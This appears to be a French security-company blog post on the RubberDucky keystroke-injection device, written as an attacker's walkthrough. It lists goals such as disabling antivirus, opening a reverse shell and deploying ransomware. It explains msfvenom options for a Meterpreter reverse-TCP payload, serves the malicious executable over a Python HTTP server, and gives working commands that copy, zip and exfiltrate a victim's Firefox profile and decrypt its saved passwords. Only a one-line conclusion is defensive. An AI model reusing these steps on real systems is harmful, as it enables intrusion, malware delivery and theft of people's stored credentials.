Services Blog English

RubberDucky

| par claw | securité

RubberDucky

Fonctionnement

Il ressemble à une clef usb d’apparence anodine mais il s’agit en réalité d’un clavier scripté capable de taper plus de 1000mots par minute. Il contient une carte mémoire qui contient notre script et marche très bien sur tout OS même à jour.

Objectifs

  • désactiver les antivirus |
  • configurer un proxy |
  • démarrer un reverse shell |
  • insertion de certificat d’autorité |
  • démarrer des scripts powershell |
  • tels qu’un ransomware |

Exemple de script RubberDucky:

DELAY 700                        // Attendre 700 ms
ESCAPE                           // Tapper Echap
DELAY 100                        // Attendre 100ms
CONTROL ESCAPE                   // Ouvrir le menu Démarer
DELAY 100
STRING Windows Security          // Tapper "Windows Security"
DELAY 200
...

Compilation

Le compilateur est fournit en .jar c’est du java compilé et packagé:

  • -i l’input
  • -l l’output (doit toujours être inject.bin)
  • le plus important -l pour le langage du clavier

Reverse shell

Un reverse shell est un programme qui permet d’obtenir un accès distant pour exécuter des commandes. Le but est de l’exécuter sur la machine de la victime pour qu’il se connecte a un shell qu’on a mit en écoute de connections sur un serveur.

On utilise Msfvenom pour créer le payload et Metasploit pour le serveur Meterpreter (c’est sur celui ci que la victime va se connecter:

  • -a: l’architecture CPU
  • --platform: la plateforme (windows, android, nix…)
  • -p: Le paylaod, dans ce cas meterpreter reverse_tcp
  • LHOST: l’ip du serveur meterpreter
  • LPORT: le port du server meterpreter
  • -e: l’encoding
  • -f: le format
  • > /tmp/mad/666.exe: la destination

Distribution

cd /tmp/mad && python -m http.server
# Sous ubuntu, debian... il faut utiliser python3 -m http.server
# car python = python2 sous ArchLinux python = python3

Une fois prêt on utilise un petit serveur http pour que la victime puisse télécharger notre exe malveillante.

Demo

(clické sur les images pour voir les videos)

Conclusion:

Ne ramassez pas les clefs usb que vous trouvez dans la rue


Reverse shell

Usages

  • Vol de mots de passe firefox
  • Keylogger
  • Screen capture
  • Downloader et uploader des fichiers
  • Implémentation d’un ransomeware
  • Reconnaissance et mouvement transversaux dans le réseau

Vol de mots de passe Firefox

meterpreter > shell
> powershell
> cd /users/<user> #(utilisez whoami pr le savoir)
> copy-item /users/33768/AppData/Roaming/Mozilla/Firefox/Profiles/*.default-release -destination /windows/temp/mad.default-release -recurse
> Compress-Archive -Path /windows/temp/mad.default-release -DestinationPath /windows/temp/mad.default-release.zip
> exit
> exit
meterpreter > Download /windows/temp/mad.default-release.zip /tmp
  • [1] Lancer cmd)
  • [2] Lancer powershell)
  • [3] Copie des fichiers .default-release de firefox
  • [4] Compression dans fichiers dans une archive zip
  • [5-6] On exit 2 fois pour revenir au prompt meterpreter >
  • [7] Exifltration de l’archive zip

Extraction

Dans un autre terminal, on unzip et place les fichier dans le répertoire ~/.mozila/firefox

$ unzip mad.default-release.zip
$ sudo cp -r mad.default-release /home/<you>/.mozilla/firefox
$ sudo chown -R ${USER}. /home/<you>/.mozilla/firefox/mad.default-release

Configuration

Par la suite on édite ~/.mozilla/firefox/profiles.ini avec le nouveau profile

[Profile2]
Name=default-release
IsRelative=1
Path=mad.default-release

Déchiffrement

On utilise un outil appelé “firefox-decrypt":

$ git clone https://github.com/unode/firefox_decrypt.git
$ cd firefox_decrypt
$ python firefox_decrypt.py

Resultat

Ils nous font confiance

Contact